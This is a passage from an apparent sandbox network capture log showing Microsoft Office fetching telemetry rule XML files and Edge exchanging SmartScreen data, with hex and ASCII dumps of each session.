T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-16547b76f7fgvq8chC1DFWhd2w00000004b00000000033ex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:37 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024237Z-164f84587bf9nk94hC1DFWerbg00000002qg00000000aegr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:37 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024237Z-16547b76f7fxqj4khC1DFWpypw00000000zg00000000hgy0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49835	40.118.171.167	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:37 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 739 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoid0dGM1R3SkN1OFI2Skt0Ty9UakhJQT09IiwgImhhc2giOiIvRjQzRFdVS2tURT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-17 02:42:37 UTC	739	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-17 02:42:38 UTC	252	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-17 02:42:38 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-11-17 02:42:38 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:37 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024237Z-16547b76f7fz92z5hC1DFWmdx80000000210000000005m0t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:37 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 760e684f-301e-0000-24f8-36eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024237Z-164f84587bfdt5l2hC1DFW88gs0000000230000000003a72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:37 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
